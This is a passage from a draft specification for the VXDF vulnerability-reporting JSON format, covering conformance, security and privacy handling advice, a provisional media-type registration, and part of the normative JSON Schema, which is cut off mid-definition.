- 3.6. Data Mapping Integrity: If a consumer maps VXDF data into another format or system (e.g., a bug tracker, a risk management platform), it SHOULD strive to maintain the integrity and key semantic details of the original VXDF information, particularly the validated nature, severity, locus, and evidence.

4. Schema Validation Process:

The normative VXDF v1.0.0 JSON Schema provided in this specification is the authoritative definition for validating VXDF documents.

- Tools: Standard JSON Schema validators compliant with JSON Schema Draft 2020-12 (or later compatible drafts) SHOULD be used.
- Checks: Validation MUST verify:
    - Presence and correct data types/formats of all mandatory properties.
    - Adherence to enumerated values for controlled vocabularies.
    - Correct structure of complex objects, including the `Evidence.data` variants based on `evidenceType`.
    - Absence of disallowed additional properties (unless they are valid `x-` prefixed extensions or within `customProperties` bags).
- Outcome: If any validation check against the normative schema fails, the document is considered non-conformant.

The VXDF project MAY provide a reference test suite (see Appendix F of the original "Validated Exploitable Data Flow (VXDF) Format MD.md" document concept) containing valid and invalid VXDF document examples to assist implementers in developing and verifying their conformance.

In summary, a conformant VXDF ecosystem relies on producers generating schema-valid documents with accurate, evidence-backed vulnerability data, and consumers correctly interpreting this structured information. Adherence to these conformance rules ensures that VXDF can serve as a reliable and interoperable standard for communicating validated exploitable vulnerabilities.

Security & Privacy Considerations

VXDF documents by their nature contain sensitive security information. It's important to handle them carefully to avoid introducing new risks. Here are considerations for both producers and consumers regarding security and privacy:

Sensitive Information in VXDF: A VXDF file describes vulnerabilities, which are sensitive until those issues are fixed (and even afterward, details might be sensitive). For example, a VXDF might contain an SQL injection that could be used to extract data. If such a file is exposed publicly or to unauthorized parties, it could guide attackers. **Therefore, treat VXDF files as sensitive artifacts.** Access should be controlled similarly to how one would handle vulnerability reports or penetration test results. If stored in a repository, limit who can see it. If transmitted, use secure channels.

Evidence Content: Evidence often includes exploit payloads or outputs. These could inadvertently contain private data or dangerous strings:

- If real user data was used during testing (e.g., copying a user's email as part of an XSS payload), the evidence description might leak that personal data. **Producers SHOULD scrub or anonymize** any personal or confidential data from evidence. It's better to use synthetic examples in proofs (like a generic admin username or dummy credit card number) rather than actual data.

- Payloads in evidence might include characters that, if the VXDF is viewed in certain contexts (like an HTML report), could be misinterpreted (for example, an XSS payload in the evidence might execute if a viewer naively renders the JSON to HTML without escaping). **Consumers SHOULD escape/encode** any output they display from VXDF to ensure that no embedded script or HTML from the evidence can execute in the context of the viewing application. In other words, treat VXDF content as data, not as code, when displaying it. This prevents any chance of, say, a VXDF with an XSS evidence triggering an XSS in a web-based viewer.

- If evidence includes file attachments or references (like a path to a pcap file or a screenshot image), ensure those are handled safely. Do not automatically execute or open referenced files without user consent. For example, if an evidence points to a `.exe` file or script as part of the exploit proof, a consumer tool should not run it automatically – that could itself be malicious.

False or Malicious Data in VXDF: While VXDF is intended for validated flows, one must consider the possibility of a malicious actor creating a VXDF file with false information or even malicious intent (for example, a VXDF that intentionally includes huge payload data to crash a tool, or tries to exploit a parsing vulnerability in a consumer). To mitigate this:

- **Do not execute content:** As mentioned, nothing in a VXDF should be executed. Even the code snippets are just text. A consumer should not, for instance, dynamically run the code in `snippet` fields – those are likely vulnerable code! They are there for reference only.

- **Resource use:** A VXDF file could be very large (e.g., thousands of flows, or extremely large snippet strings) which might exhaust memory or storage. Consumers should implement reasonable limits or streaming processing. Likewise, producers should avoid including excessively large data (e.g., don't embed an entire log file as a snippet; maybe summarize it).

- **Validation of input:** If a system receives a VXDF file from an external source (say, a bug bounty submission in VXDF format), the system should validate it against the schema and possibly additional checks. Don't assume the file is harmless JSON – it could be crafted to exploit a bug in the JSON parser. Use up-to-date JSON libraries and consider sandboxing the processing if high-risk.

Privacy of Code: VXDF contains code excerpts (snippets) which might be proprietary. If sharing VXDF outside the organization (e.g., with a vendor or open-source project to report an issue), consider the sensitivity of those code snippets. Are they revealing any intellectual property or secrets? Typically, showing a line of code that handles input or does a query is fine, but it's worth double-checking. If necessary, the snippet could be omitted or generalized to avoid exposing internal logic unnecessarily, as long as the description and evidence are enough to understand the issue. VXDF allows snippet to be optional for such reasons.

Distribution and Storage: There is currently no built-in encryption or access control in the VXDF format – it's plain JSON. If you need to share a VXDF file over an untrusted medium, use external means to secure it (encryption, secure file transfer, etc.). Similarly, if storing VXDF in a database or as part of an SBOM system, treat it as you would treat vulnerability details. In some cases, you might not want to store the exploit payload at all in a long-lived system; VXDF's evidence is critical for confirmation but once the issue is resolved, some may choose to redact or remove the actual exploit strings from records to prevent misuse. This is a policy decision outside the spec, but the spec enables identifying the relevant parts to remove if needed (e.g., one could strip the evidence section for archive records, once no longer needed, keeping just the fact that it was confirmed).

Media Type and Handling: When a VXDF file is exchanged (e.g., via email or API), it should be labeled with the proper media type (as suggested in the IANA section). This helps systems recognize it and perhaps apply special handling. For example, a security issue tracker might flag any incoming `application/vxdf+json` file for restricted access or scanning.

Integrity: If a VXDF file is sent across systems, ensure its integrity. A cryptographic hash or signature can help ensure it wasn't tampered with. The spec doesn't mandate a signing mechanism, but in a high-security context, sending a signed VXDF (or via a protocol that ensures integrity) is advisable. Tampering could otherwise change evidence or details (though the risk is similar to any vulnerability report being tampered).

Privacy Consideration - Relation to Individuals: VXDF is primarily about code and exploits, not personal data. However, if an exploit involves user data (like stealing someone's info), the evidence or description might reference personal data. Authors of VXDF content **SHOULD** avoid including real personal identifiers in examples. If a vulnerability is reported on a specific user's account or data, better to abstract it (e.g., use `<victim>` or a generic identifier). This reduces privacy concerns and compliance scope (for example, avoiding personal data means likely no GDPR issues in sharing the VXDF).

In conclusion, VXDF doesn't introduce significant new security concerns beyond those inherent in sharing vulnerability details. The main advice is to **treat VXDF files as sensitive** and to handle the content within carefully (no blind execution, proper escaping when viewing, mindful inclusion of data). By following these practices, users of VXDF can safely benefit from its rich detail without exposing themselves to additional risk.

IANA Considerations / Media-Type Registration (Stub)

This specification anticipates the need for a dedicated media type to identify VXDF documents when they are transferred or stored. We intend to register a media type with the Internet Assigned Numbers Authority (IANA) for VXDF. Pending official registration, the provisional suggestion is:

- **Media Type Name:** application
- **Media Subtype:** vxdf+json (or possibly **vnd.vxdf+json** if a vendor tree is needed initially)

Thus, a full media type string could be `application/vxdf+json`. This indicates that the content is a VXDF JSON document. The "+json" suffix aligns with IANA recommendations for JSON-based media types, making it clear that it's JSON and allowing generic JSON processors to handle it if needed.

Intended Usage: COMMON
This media type would be used in tooling (for example, REST APIs returning VXDF results, file attachments in bug reports, etc.) to signify that the payload is a VXDF vulnerability report. Tools or email clients might use this to automatically route the data to the right handler (for instance, an IDE could register to open `vxdf+json` files with a specialized viewer).

Encoding: UTF-8 (since JSON standard recommends/assumes UTF-8). If binary packaging is ever needed (e.g., VXDF with attachments), that would be a separate consideration (like embedding in a zip), but the JSON itself is text.

File Extension: We suggest "`.vxdf.json`" or "`.vxdf`" as a file extension for VXDF files. For example, `report.vxdf.json` could be a typical file name. If `.vxdf` alone is used, systems should still treat it as text/JSON.

Considerations: The media type registration will include a reference to this specification and indicate that no special magic numbers are present beyond the JSON opening `{`. Security considerations in the registration will reference the section above.

Note: This section is a stub for the formal registration. The actual request to IANA will be made when the specification is finalized, possibly under the standards tree if VXDF is adopted by a standards body, or vendor tree during its draft phase. In the meantime, developers MAY use the `application/vxdf+json` media type informally to label content, understanding that it's not yet an official IANA registered type. Alternatively, until registration, `application/json` with a specific file extension is acceptable.

By defining a distinct media type, we make it easier for systems to recognize VXDF content and handle it appropriately (for example, apply JSON schema validation automatically, or trigger security handling as mentioned). We will update this section with the final details once registration is complete.

Appendix A: Normative JSON Schema

```
{
  "$schema": "https://json-schema.org/draft/2020-12/schema",
  "$id": "https://vxdf.org/schemas/vxdf-1.0.0.json",
  "title": "Validated Exploitable Data Flow (VXDF) Schema",
  "description": "JSON Schema for VXDF format version 1.0.0, focusing on validated, exploitable vulnerabilities with structured evidence. This standard aims to provide a comprehensive and extensible format for reporting security findings.",
  "type": "object",
  "properties": {
    "vxdfVersion": {
      "type": "string",
      "const": "1.0.0",
      "description": "The VXDF format version. MUST be '1.0.0' for this version of the specification."
    },
    "id": {
      "type": "string",
      "format": "uuid",
      "pattern": "^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$",
      "description": "A UUID uniquely identifying this VXDF document."
    },
    "generatedAt": {
      "type": "string",
      "format": "date-time",
      "description": "Timestamp of when this VXDF document was generated, in ISO 8601 format (e.g., '2023-10-26T10:00:00Z')."
    },
    "generatorTool": {
      "type": "object",
      "description": "Information about the tool, script, or process that generated this VXDF document.",
      "properties": {
        "name": {
          "type": "string",
          "description": "The name of the tool or generator."
        },
        "version": {
          "type": "string",
          "description": "The version of the tool or generator, if applicable."
        }
      },
      "required": ["name"],
      "additionalProperties": false,
      "patternProperties": {
        "^x-": {}
      }
    },
    "applicationInfo": {
      "type": "object",
      "description": "Information about the application, system, or component that was the target
of the assessment and to which the findings apply.",
      "properties": {
        "name": {
          "type": "string",
          "description": "The primary name of the application or target."
        },
        "version": {
          "type": "string",
          "description": "The version of the application or target."
        },
        "repositoryUrl": {
          "type": "string",
          "format": "uri",
          "description": "URL of the source code repository for the application."

        },

        "environment": {

          "type": "string",

          "description": "The environment in which the assessment was performed or to which it
applies (e.g., 'production', 'staging', 'test', 'development')."

        },

        "purl": {

          "type": "string",

          "description": "Package URL (PURL) identifying the overall application or target."

        },

        "cpe": {

          "type": "string",

          "description": "Common Platform Enumeration (CPE) for the overall application or target."

        },

        "customProperties": {

          "type": "object",

          "description": "A key-value map for additional custom information about the application or
target.",

          "additionalProperties": true

        }

      },

      "required": ["name"],

      "additionalProperties": false,

      "patternProperties": {
        "^x-": {}
      }
    },
    "exploitFlows": {
      "type": "array",
      "minItems": 1,
      "description": "An array containing one or more ExploitFlow objects, each representing a single validated, exploitable vulnerability.",
      "items": {
        "$ref": "#/$defs/ExploitFlow"
      }
    },
    "customProperties": {
      "type": "object",
      "description": "A key-value map for arbitrary custom data relevant to the entire document not covered by standard fields. Keys should ideally be namespaced.",
      "additionalProperties": true
    }
  },
  "required": [
    "vxdfVersion",
    "id",
    "generatedAt",
    "exploitFlows"
  ],
  "additionalProperties": false,

  "patternProperties": {

    "^x-": {}

  },

  "$defs": {

    "ExploitFlow": {

      "type": "object",

      "description": "Represents a single validated, exploitable vulnerability instance. It describes
the nature of the vulnerability, its location (either as a data flow or within affected components),
its severity, and provides structured evidence of its exploitability.",

      "properties": {

        "id": {

          "type": "string",

          "format": "uuid",

          "pattern": "^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$",

          "description": "A UUID uniquely identifying this specific exploit flow or vulnerability
instance."

        },

        "title": {

          "type": "string",

          "description": "A concise, human-readable title summarizing the vulnerability (e.g., 'SQL
Injection in Product Search API')."

        },

        "description": {

          "type": "string",

          "description": "A detailed human-readable description of the vulnerability, its technical
nature, how it can be exploited, its context, and potential impact."
```

```
    },

    "validatedAt": {

      "type": "string",

      "format": "date-time",

      "description": "Timestamp of when this vulnerability was last validated as exploitable, in
ISO 8601 format."

    },

    "validationEngine": {

      "type": "object",

      "description": "Information about the primary tool, engine, or methodology used for
validating the exploitability of this finding.",

      "properties": {

        "name": {

          "type": "string",

          "description": "Name of the validation tool, engine, or methodology (e.g., 'Manual
Penetration Test by SecureTeam', 'DAST Engine X', 'Automated Exploit Verification Module',
'SCA Validation Ruleset')."

        },

        "version": {

          "type": "string",

          "description": "Version of the validation tool or engine, if applicable."

        }

      },

      "required": ["name"],

      "additionalProperties": false,

      "patternProperties": { "^x-": {} }
```

```
        },

        "severity": {

          "$ref": "#/$defs/Severity",

          "description": "A structured object detailing the severity of the vulnerability."

        },

        "category": {

          "type": "string",

          "description": "A high-level classification of the vulnerability type. See Appendix I:
`ExploitFlow.category` - Recommended Values and Descriptions for details and recommended
values."

        },

        "cwe": {

          "type": "array",

          "items": {

            "type": "string",

            "pattern": "^CWE-[1-9][0-9]*$",

            "description": "A Common Weakness Enumeration (CWE) identifier (e.g., 'CWE-89')."

          },

          "uniqueItems": true,

          "description": "An array of CWE identifiers relevant to this vulnerability. Multiple CWEs can
be listed if applicable."

        },

        "remediation": {

          "type": "object",

          "description": "Guidance on how to remediate the vulnerability.",

          "properties": {
```

```
      "summary": {
        "type": "string",
        "description": "A brief summary of the recommended remediation actions."
      },
      "detailsUrl": {
        "type": "string",
        "format": "uri",
        "description": "A URL pointing to more detailed remediation guidance, documentation, or resources."
      },
      "codePatches": {
        "type": "array",
        "items": {
          "type": "object",
          "properties": {
            "description": {"type": "string", "description": "Description of the patch or change."},
            "diffUrl": {"type": "string", "format": "uri", "description": "URL to a diff or patch file."},
            "diffContent": {"type": "string", "description": "The content of the patch or diff itself."}
          }
        },
        "description": "Suggested code patches or diffs."
      }
    },
    "required": ["summary"],
    "additionalProperties": true,
      "patternProperties": { "^x-": {} }
    },
    "status": {
      "type": "string",
      "enum": [
        "OPEN",
        "UNDER_INVESTIGATION",
        "REMEDIATION_IN_PROGRESS",
        "REMEDIATED",
        "REMEDIATION_VERIFIED",
        "FALSE_POSITIVE_AFTER_REVALIDATION",
        "ACCEPTED_RISK",
        "DEFERRED",
        "OTHER"
      ],
      "default": "OPEN",
      "description": "The current status of this vulnerability finding within a management
lifecycle. See Appendix K: `ExploitFlow.status` - Definitions for details."
    },
    "tags": {
      "type": "array",
      "items": { "type": "string" },
      "uniqueItems": true,
      "description": "Custom tags for additional categorization, filtering, or tracking (e.g.,
'PCI_SCOPE', 'PII_EXPOSED', 'ZERO_DAY')."
```

```
    },
    "source": {
      "$ref": "#/$defs/Location",
      "description": "(Optional, but conditionally required with 'sink' for flow-based vulnerabilities) The entry point of untrusted data or the starting point of the exploit."
    },
    "sink": {
      "$ref": "#/$defs/Location",
      "description": "(Optional, but conditionally required with 'source' for flow-based vulnerabilities) The point of exploitation where the vulnerability manifests."
    },
    "steps": {
      "type": "array",
      "items": { "$ref": "#/$defs/TraceStep" },
      "description": "(Optional) An ordered sequence of steps detailing the data flow or exploit path from source to sink. Recommended if the path is non-obvious."
    },
    "affectedComponents": {
      "type": "array",
      "items": { "$ref": "#/$defs/AffectedComponent" },
      "description": "(Optional, but conditionally required if 'source'/'sink' are not primary) An array of specific components affected by or contributing to the vulnerability."
    },
    "evidence": {
      "type": "array",
      "minItems": 1,
        "description": "An array of one or more Evidence objects supporting the claim of
exploitability. At least one evidence item is MANDATORY.",
        "items": { "$ref": "#/$defs/Evidence" }
      },
      "correlationGuids": {
        "type": "array",
        "items": { "type": "string" },
        "uniqueItems": true,
        "description": "Globally unique identifiers for correlating this finding with findings from
other tools or systems (e.g., a SARIF result.correlationGuid)."
      },
      "exploitabilityAssessment": {
        "type": "object",
        "description": "Assessment of how easy or likely the vulnerability is to be exploited.",
        "properties": {
          "level": {
            "type": "string",
            "enum": ["EASY", "MODERATE", "DIFFICULT", "THEORETICAL_BUT_PROVEN",
"NOT_ASSESSED"],
            "description": "Qualitative assessment of exploitability."
          },
          "description": {
            "type": "string",
            "description": "Narrative explaining the exploitability assessment."
          },
          "cvssExploitabilitySubscore": {
```

```
          "type": "number",

          "minimum": 0.0,

          "maximum": 10.0,

          "description": "CVSS Exploitability Subscore if calculated separately (e.g., from Base
Metrics)."

         }

        },

        "additionalProperties": false,

        "patternProperties": { "^x-": {} }

       },

       "customProperties": {

        "type": "object",

        "description": "A key-value map for arbitrary custom data specific to this exploit flow. Keys
should ideally be namespaced.",

        "additionalProperties": true

       }

      },

      "required": [

       "id",

       "title",

       "severity",

       "category",

       "evidence",

       "validatedAt"

      ],
    "anyOf": [
      { "required": ["source", "sink"] },
      { "required": ["affectedComponents"] }
    ],
    "additionalProperties": false,
    "patternProperties": {
      "^x-": {}
    }
  },
  "Location": {
    "type": "object",
    "description": "Describes a specific location relevant to the vulnerability, such as a point in
source code, a web endpoint, a configuration setting, or a software component.",
    "properties": {
      "description": {
        "type": "string",
        "description": "A human-readable description of this location and its significance in the
context of the vulnerability."
      },
      "locationType": {
        "type": "string",
        "enum": [
          "SOURCE_CODE_UNIT",
          "WEB_ENDPOINT_PARAMETER",
          "WEB_HTTP_HEADER",
          "WEB_COOKIE",

          "SOFTWARE_COMPONENT_LIBRARY",

          "CONFIGURATION_FILE_SETTING",

          "FILE_SYSTEM_ARTIFACT",

          "NETWORK_SERVICE_ENDPOINT",

          "DATABASE_SCHEMA_OBJECT",

          "ENVIRONMENT_VARIABLE",

          "OPERATING_SYSTEM_REGISTRY_KEY",

          "CLOUD_PLATFORM_RESOURCE",

          "EXECUTABLE_BINARY_FUNCTION",

          "PROCESS_MEMORY_REGION",

          "USER_INTERFACE_ELEMENT",

          "GENERIC_RESOURCE_IDENTIFIER"

        ],

        "description": "The primary type of location being described. See Appendix L:
`Location.locationType` - Definitions and Usage Guidance for details on each type and their
relevant properties."

      },

      "uri": {

        "type": "string",

        "format": "uri-reference",

        "description": "A URI identifying the resource where the location exists (e.g., file URI,
repository URL with line numbers, API endpoint)."

      },

      "uriBaseId": {

        "type": "string",
        "description": "A SARIF-like symbolic name for a URI base, used if 'uri' is relative."

      },

      "filePath": {

        "type": "string",

        "description": "Path to the file (e.g., for SOURCE_CODE_UNIT,
CONFIGURATION_FILE_SETTING, FILE_SYSTEM_ARTIFACT,
EXECUTABLE_BINARY_FUNCTION)."

      },

      "startLine": {

        "type": "integer",

        "minimum": 1,

        "description": "The one-based starting line number in the file."

      },

      "endLine": {

        "type": "integer",

        "minimum": 1,

        "description": "The one-based ending line number in the file."

      },

      "startColumn": {

        "type": "integer",

        "minimum": 1,

        "description": "The one-based starting column number."

      },

      "endColumn": {

        "type": "integer",
        "minimum": 1,

        "description": "The one-based ending column number."

      },

      "snippet": {

        "type": "string",

        "description": "A snippet of the code, text, or content at this location."

      },

      "fullyQualifiedName": {

        "type": "string",

        "description": "Fully qualified name of the code element (e.g.,
'com.example.MyClass.myMethod', 'namespace::function'). Relevant for
SOURCE_CODE_UNIT."

      },

      "symbol": {

        "type": "string",

        "description": "The specific symbol, variable name, identifier, or UI element identifier at
this location."

      },

      "url": {

        "type": "string",

        "format": "uri",

        "description": "The URL of the web endpoint. Relevant for
WEB_ENDPOINT_PARAMETER and WEB_HTTP_HEADER (contextually)."

      },

      "httpMethod": {

        "type": "string",
        "enum": ["GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD",
"CONNECT", "TRACE", "OTHER"],

        "description": "The HTTP method. Relevant for WEB_ENDPOINT_PARAMETER."

      },

      "parameterName": {

        "type": "string",

        "description": "Name of the HTTP parameter. Relevant for
WEB_ENDPOINT_PARAMETER."

      },

      "parameterLocation": {

        "type": "string",

        "enum": ["query", "body_form", "body_json_pointer", "body_xml_xpath",
"body_multipart_field_name", "path_segment"],

        "description": "Location of the parameter within an HTTP request. 'body_json_pointer'
uses JSON Pointer (RFC 6901), 'body_xml_xpath' uses XPath 1.0. For headers or cookies, use
locationType WEB_HTTP_HEADER or WEB_COOKIE respectively."

      },

      "headerName": {

        "type": "string",

        "description": "Name of the HTTP header. Relevant for WEB_HTTP_HEADER."

      },

      "cookieName": {

        "type": "string",

        "description": "Name of the cookie. Relevant for WEB_COOKIE."

      },

      "componentName": {

        "type": "string",
        "description": "Name of the software component/library. Relevant for
SOFTWARE_COMPONENT_LIBRARY."
      },
      "componentVersion": {
        "type": "string",
        "description": "Version of the software component/library. Relevant for
SOFTWARE_COMPONENT_LIBRARY."
      },
      "purl": {
        "type": "string",
        "description": "Package URL (PURL) of the software component. Relevant for
SOFTWARE_COMPONENT_LIBRARY."
      },
      "cpe": {
        "type": "string",
        "description": "Common Platform Enumeration (CPE) of the software component or
hardware. Relevant for SOFTWARE_COMPONENT_LIBRARY and other types."
      },
      "ecosystem": {
        "type": "string",
        "description": "The software ecosystem (e.g., 'Maven', 'npm', 'PyPI', 'NuGet'). Relevant for
SOFTWARE_COMPONENT_LIBRARY."
      },
      "settingName": {
        "type": "string",
        "description": "Name of the configuration setting, property, or registry value name.
Relevant for CONFIGURATION_FILE_SETTING, CLOUD_PLATFORM_RESOURCE,
OPERATING_SYSTEM_REGISTRY_KEY."
```

```
        },

        "settingValue": {

          "type": "string",

          "description": "Value of the configuration setting or property. Relevant for
CONFIGURATION_FILE_SETTING, CLOUD_PLATFORM_RESOURCE,
OPERATING_SYSTEM_REGISTRY_KEY, ENVIRONMENT_VARIABLE."

        },

        "ipAddress": {

          "type": "string",

          "oneOf": [ { "format": "ipv4" }, { "format": "ipv6" } ],

          "description": "IP address of the network service. Relevant for
NETWORK_SERVICE_ENDPOINT."

        },

        "hostname": {

          "type": "string",

          "format": "hostname",

          "description": "Hostname of the network service. Relevant for
NETWORK_SERVICE_ENDPOINT."

        },

        "port": {

          "type": "integer",

          "minimum": 0,

          "maximum": 65535,

          "description": "Port number of the network service. Relevant for
NETWORK_SERVICE_ENDPOINT."

        },

        "protocol": {
          "type": "string",

          "description": "Network protocol (e.g., 'tcp', 'udp', 'http', 'https'). Relevant for
NETWORK_SERVICE_ENDPOINT."

        },

        "databaseType": {

          "type": "string",

          "description": "Type of database (e.g., 'MySQL', 'PostgreSQL', 'MongoDB'). Relevant for
DATABASE_SCHEMA_OBJECT."

        },

        "databaseName": {

          "type": "string",

          "description": "Name of the database or schema. Relevant for
DATABASE_SCHEMA_OBJECT."

        },

        "objectType": {

          "type": "string",

          "description": "Type of database object (e.g., 'TABLE', 'COLUMN',
'STORED_PROCEDURE', 'QUERY_FRAGMENT'). Relevant for
DATABASE_SCHEMA_OBJECT."

        },

        "objectName": {

          "type": "string",

          "description": "Name of the database object. Relevant for
DATABASE_SCHEMA_OBJECT."

        },

        "environmentVariableName": {

          "type": "string",
          "description": "Name of the environment variable. Relevant for
ENVIRONMENT_VARIABLE."

        },

        "cloudPlatform": {

          "type": "string",

          "enum": ["AWS", "Azure", "GCP", "OCI", "Other"],

          "description": "Cloud platform provider. Relevant for CLOUD_PLATFORM_RESOURCE."

        },

        "cloudServiceName": {

          "type": "string",

          "description": "Name of the cloud service (e.g., 'S3', 'EC2', 'Azure Blob Storage', 'Cloud
Functions'). Relevant for CLOUD_PLATFORM_RESOURCE."

        },

        "cloudResourceId": {

          "type": "string",

          "description": "Unique identifier of the cloud resource (e.g., ARN, Azure Resource ID).
Relevant for CLOUD_PLATFORM_RESOURCE."

        },

        "binaryFunctionName": {

          "type": "string",

          "description": "Name of the function in a compiled binary. Relevant for
EXECUTABLE_BINARY_FUNCTION."

        },

        "binaryOffset": {

          "type": "string",

          "pattern": "^0x[0-9a-fA-F]+$",
          "description": "Offset within the binary (hexadecimal string, e.g., '0x4011ab'). Relevant for
EXECUTABLE_BINARY_FUNCTION and PROCESS_MEMORY_REGION."

        },

        "customProperties": {

          "type": "object",

          "description": "A key-value map for additional custom information about the location.",

          "additionalProperties": true

        }

      },

      "required": ["locationType"],

      "additionalProperties": false,

      "patternProperties": {

        "^x-": {}

      }

    },

    "TraceStep": {

      "type": "object",

      "description": "A single step in the data flow or exploit path, providing context for how a
vulnerability progresses from source to sink.",

      "properties": {

        "order": {

          "type": "integer",

          "minimum": 0,

          "description": "The zero-based sequence number of this step in the trace."

        },
        "location": {
          "$ref": "#/$defs/Location",
          "description": "The location where this step occurs."
        },
        "description": {
          "type": "string",
          "description": "A human-readable description of the action, data transformation, or control flow decision occurring at this step."
        },
        "stepType": {
          "type": "string",
          "enum": [
            "SOURCE_INTERACTION",
            "DATA_TRANSFORMATION",
            "DATA_PROPAGATION",
            "CONTROL_FLOW_BRANCH",
            "SINK_INTERACTION",
            "VALIDATION_OR_SANITIZATION",
            "CONFIGURATION_ACCESS",
            "COMPONENT_CALL",
            "STATE_CHANGE",
            "INTERMEDIATE_NODE"
          ],
          "description": "The nature of this step in the flow. See Appendix M: `TraceStep.stepType` - Definitions for details."
```

```
      },
      "evidenceRefs": {
        "type": "array",
        "items": {
          "type": "string",
          "format": "uuid",
          "pattern": "^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
        },
        "uniqueItems": true,
        "description": "An array of UUIDs referencing specific Evidence items (from the
ExploitFlow's 'evidence' array) that are particularly relevant to this step in the trace."
      },
      "customProperties": {
        "type": "object",
        "description": "A key-value map for custom data about this trace step.",
        "additionalProperties": true
      }
    },
    "required": ["order", "location", "description"],
    "additionalProperties": false,
    "patternProperties": {
      "^x-": {}
    }
  },
  "AffectedComponent": {
    "type": "object",

    "description": "Describes a specific software component, library, hardware device,
configuration file, or service that is affected by or contributes to the vulnerability.",

    "properties": {

     "name": {

      "type": "string",

      "description": "The primary name of the component (e.g., 'Apache Struts Core', 'OpenSSL
Library', 'nginx.conf', 'User Authentication Service')."

     },

     "version": {

      "type": "string",

      "description": "The version of the component, if applicable and known."

     },

     "purl": {

      "type": "string",

      "description": "Package URL (PURL) for the component, highly recommended for
software libraries and applications."

     },

     "cpe": {

      "type": "string",

      "description": "Common Platform Enumeration (CPE) for the component."

     },

     "componentType": {

      "type": "string",

      "enum": [

       "SOFTWARE_LIBRARY",
       "APPLICATION_MODULE",

       "EXECUTABLE_FILE",

       "OPERATING_SYSTEM",

       "HARDWARE_DEVICE",

       "FIRMWARE",

       "CONTAINER_IMAGE",

       "CONFIGURATION_FILE",

       "SERVICE_ENDPOINT",

       "NETWORK_INFRASTRUCTURE_DEVICE",

       "CLOUD_SERVICE_COMPONENT",

       "DATA_STORE_INSTANCE",

       "PROTOCOL_SPECIFICATION",

       "OTHER_COMPONENT"

      ],

      "description": "The general type or category of the component. See Appendix N:
`AffectedComponent.componentType` - Definitions for details."

     },

     "description": {

      "type": "string",

      "description": "Further details about the component and how it is affected by or involved in
the vulnerability."

     },

     "locations": {

      "type": "array",

      "items": { "$ref": "#/$defs/Location" },
       "description": "Specific locations within or related to this component that are relevant to
the vulnerability (e.g., a vulnerable function within a library identified by its Location object, a
specific setting within a config file Location)."
      },
      "evidenceRefs": {
       "type": "array",
       "items": {
         "type": "string",
         "format": "uuid",
         "pattern": "^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
       },
       "uniqueItems": true,
       "description": "An array of UUIDs referencing specific Evidence items (from the
ExploitFlow's 'evidence' array) that are particularly relevant to this affected component."
      },
      "customProperties": {
       "type": "object",
       "description": "A key-value map for custom data about this affected component.",
       "additionalProperties": true
      }
     },
     "required": ["name", "componentType"],
     "additionalProperties": false,
     "patternProperties": {
      "^x-": {}
     }
```

```
  },

  "Severity": {

    "type": "object",

    "description": "Represents the severity of the vulnerability, allowing for both qualitative
assessment and quantitative scoring (e.g., CVSS).",

    "properties": {

      "level": {

        "type": "string",

        "enum": ["CRITICAL", "HIGH", "MEDIUM", "LOW", "INFORMATIONAL", "NONE"],

        "description": "A qualitative severity level assigned to the vulnerability. See Appendix J:
`Severity.level` - Definitions for details."

      },

      "cvssV3_1": {

        "$ref": "#/$defs/CvssV3_1",

        "description": "CVSS v3.1 scoring details."

      },

      "cvssV4_0": {

        "$ref": "#/$defs/CvssV4_0",

        "description": "CVSS v4.0 scoring details."

      },

      "customScore": {

        "type": "object",

        "description": "Allows for representing scores from other scoring systems.",

        "properties": {

          "systemName": {
            "type": "string",
            "description": "Name of the custom scoring system (e.g., 'OWASP Risk Rating
Methodology', 'Internal Risk Matrix v2')."
          },
          "scoreValue": {
            "oneOf": [ { "type": "string" }, { "type": "number" } ],
            "description": "The score value itself, can be numeric or a qualitative string (e.g., 'High',
7.5)."
          },
          "scoreDescription": {
            "type": "string",
            "description": "A brief description or interpretation of the custom score."
          }
        },
        "required": ["systemName", "scoreValue"],
        "additionalProperties": false,
        "patternProperties": { "^x-": {} }
      },
      "justification": {
        "type": "string",
        "description": "A textual rationale for the assigned severity level, especially if it deviates
from calculated scores, or to provide context specific to the assessed environment."
      }
    },
    "required": ["level"],
    "additionalProperties": false,
    "patternProperties": {
      "^x-": {}
    }
  },
  "CvssV3_1": {
    "type": "object",
    "description": "Common Vulnerability Scoring System v3.1 details.",
    "properties": {
      "version": { "type": "string", "const": "3.1" },
      "vectorString": {
        "type": "string",
        "pattern":
"^CVSS:3\\.1/((AV:[NALP]/AC:[LH]/PR:[NLH]/UI:[NR]/S:[UC]/C:[NLH]/I:[NLH]/A:[NLH])(/[A-Za-z]+
:[A-Za-z_]+)*)$",
        "description": "The full CVSS v3.1 vector string (e.g.,
'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H')."
      },
      "baseScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description": "The
CVSS Base Score." },
      "baseMetrics": {
        "type": "object",
        "description": "CVSS v3.1 Base Metric Group.",
        "properties": {
          "attackVector": {"type": "string", "enum": ["NETWORK", "ADJACENT_NETWORK",
"LOCAL", "PHYSICAL"]},
          "attackComplexity": {"type": "string", "enum": ["LOW", "HIGH"]},
          "privilegesRequired": {"type": "string", "enum": ["NONE", "LOW", "HIGH"]},
          "userInteraction": {"type": "string", "enum": ["NONE", "REQUIRED"]},
          "scope": {"type": "string", "enum": ["UNCHANGED", "CHANGED"]},
          "confidentialityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH"]},
          "integrityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH"]},
          "availabilityImpact": {"type": "string", "enum": ["NONE", "LOW", "HIGH"]}
        },
        "required": ["attackVector", "attackComplexity", "privilegesRequired", "userInteraction",
"scope", "confidentialityImpact", "integrityImpact", "availabilityImpact"]
      },
      "temporalScore": { "type": "number", "minimum": 0.0, "maximum": 10.0, "description": "The
CVSS Temporal Score." },
      "temporalMetrics": {
        "type": "object",
